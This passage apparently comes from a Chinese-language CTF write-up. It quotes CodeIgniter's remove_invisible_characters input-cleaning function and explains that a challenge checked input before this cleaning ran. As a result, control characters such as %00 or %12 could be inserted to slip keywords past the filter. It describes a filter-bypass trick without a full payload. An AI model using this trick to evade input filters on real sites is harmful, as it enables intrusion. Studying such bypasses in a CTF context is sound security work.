NOTE: In PHP 5.4 get_magic_quotes_gpc() will always return 0 and
it will probably not exist in future versions at all.
*/
if ( ! is_php('5.4') && get_magic_quotes_gpc())
{
$str = stripslashes($str);
}

// Clean UTF-8 if supported
if (UTF8_ENABLED === TRUE)
{
$str = $this->uni->clean_string($str);
}

// Remove control characters
$str = remove_invisible_characters($str, FALSE);

这里看注释就能大概看出来清掉了哪些啦。
Clean UTF-8 if supported、Remove control characters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function remove_invisible_characters($str, $url_encoded = TRUE)
{
$non_displayables = array();

// every control character except newline (dec 10),
// carriage return (dec 13) and horizontal tab (dec 09)
if ($url_encoded)
{
$non_displayables[] = '/%0[0-8bcef]/i'; // url encoded 00-08, 11, 12, 14, 15
$non_displayables[] = '/%1[0-9a-f]/i'; // url encoded 16-31
$non_displayables[] = '/%7f/i'; // url encoded 127
}

$non_displayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; // 00-08, 11, 12, 14-31, 127

do
{
$str = preg_replace($non_displayables, '', $str, -1, $count);
}
while ($count);

return $str;
}

这里应该是在清空这些字符之前就检测了字符,
所以呢 这里不止%00能绕过, %12, %80-%99之类的不少字符都能绕过。

后面一开始也在想, 这题都没用ci框架那种常见的url route, 也没看到啥明显的特征提示是ci框架,大家怎么能想到是利用ci框架的这个特性来绕过呢,不过后面发现在404页面中使用的是熟悉的ci框架的404页面, 那么也就很简单了。